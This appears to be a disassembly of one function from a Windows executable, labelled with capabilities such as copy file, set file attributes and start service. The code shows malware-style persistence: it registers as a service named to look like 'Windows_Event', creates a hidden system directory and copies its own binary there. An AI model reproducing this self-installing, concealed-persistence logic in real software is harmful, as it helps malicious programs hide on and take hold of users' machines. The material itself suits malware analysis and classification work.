Function at 0x100181c0
Capabilities:
Copy file
Create directory
Set file attributes
Start service
Terminate process

Disassembly:
push 0x1f4
mov eax, 0x10041ccd
call fcn.1003a17c
call fcn.10017266
test eax, eax
je 0x1001826d
lea eax, [ebp - 0x134]
mov dword [ebp - 0x130], 0x10017850
xor ebx, ebx
mov esi, str.Windows_Eventn
push eax
mov dword [ebp - 0x134], esi
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x1001856c
push 0x20000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x1001856c
push 0x10
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x10018261
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
test eax, eax
je 0x1001825b
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1001856c
lea ecx, [ebp - 0x1b8]
call fcn.10017994
mov edi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x1a0]
call fcn.10018051
mov byte [ebp - 4], 1
mov edx, eax
push 0x1004f25c
lea ecx, [ebp - 0x1d0]
call fcn.1001b748
pop ecx
mov esi, eax
mov byte [ebp - 4], 2
call fcn.100180d1
push eax
mov edx, esi
lea ecx, [ebp - 0x200]
call fcn.1001b748
mov byte [ebp - 4], 3
mov edx, eax
lea ecx, [ebp - 0x1e8]
mov dword [esp], 0x10050af4
call fcn.1001b748
pop ecx
mov byte [ebp - 4], 4
mov edx, eax
push edi
lea ecx, [ebp - 0x154]
call fcn.1001b800
pop ecx
mov byte [ebp - 4], 6
xor esi, esi
push ebx
inc esi
lea ecx, [ebp - 0x1e8]
push esi
call fcn.1000176d
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x200]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1d0]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1a0]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1b8]
push ebx
push esi
call fcn.1000176d
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x154]
push ebx
cmovae eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
cmp dword [ebp - 0x140], 0x10
lea eax, [ebp - 0x154]
push 7
cmovae eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
call fcn.10018130
push ecx
lea edx, [ebp - 0x154]
lea ecx, [ebp - 0x1a0]
call fcn.1001b78e
pop ecx
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x12c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1b8]
call fcn.1001b748
pop ecx
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x16c]
call fcn.1001b748
pop ecx
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1b8]
push ebx
push esi
call fcn.1000176d
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1a0]
push ebx
push esi
call fcn.1000176d
lea ecx, [ebp - 0x184]
call fcn.10017fc6
mov byte [ebp - 4], 0x10
push ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x138], ebx
push ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x138], ebx
call fcn.1001b579
mov dword [ebp - 0x13c], eax
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
cmp dword [ebp - 0x158], 0x10
lea eax, [ebp - 0x16c]
push ebx
cmovae eax, dword [ebp - 0x16c]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x64
call esi
sub esp, 0x18
lea eax, [ebp - 0x184]
mov ecx, esp
mov dword [ebp - 0x188], esp
push eax
call fcn.100014b8
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x13c]
call fcn.10017b6b
lea eax, [ebp - 0x154]
mov dword [ebp - 0x188], esp
mov ecx, esp
push eax
call fcn.100014b8
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x13c]
call fcn.10017ebd
add esp, 0x18
lea ecx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
cmovae ecx, dword [ebp - 0x16c]
xor edx, edx
call fcn.100216bc
push 0x3e8
call esi
call fcn.1001713b
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x13c]
mov edi, dword [eax]
mov dword [eax], eax
mov eax, dword [ebp - 0x13c]
mov dword [eax + 4], eax
mov dword [ebp - 0x138], ebx
cmp edi, dword [ebp - 0x13c]
je 0x10018526
mov esi, dword [edi]
lea ecx, [edi + 8]
push ebx
push 1
call fcn.1000176d
push edi
call fcn.10022d82
mov edi, esi
pop ecx
cmp esi, dword [ebp - 0x13c]
jne 0x10018508
mov byte [ebp - 4], 0x10
push dword [ebp - 0x13c]
call fcn.10022d82
pop ecx
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x184]
push ebx
push 1
call fcn.1000176d
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x16c]
push ebx
push 1
call fcn.1000176d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
push ebx
push 1
call fcn.1000176d
call fcn.10016aa8
int3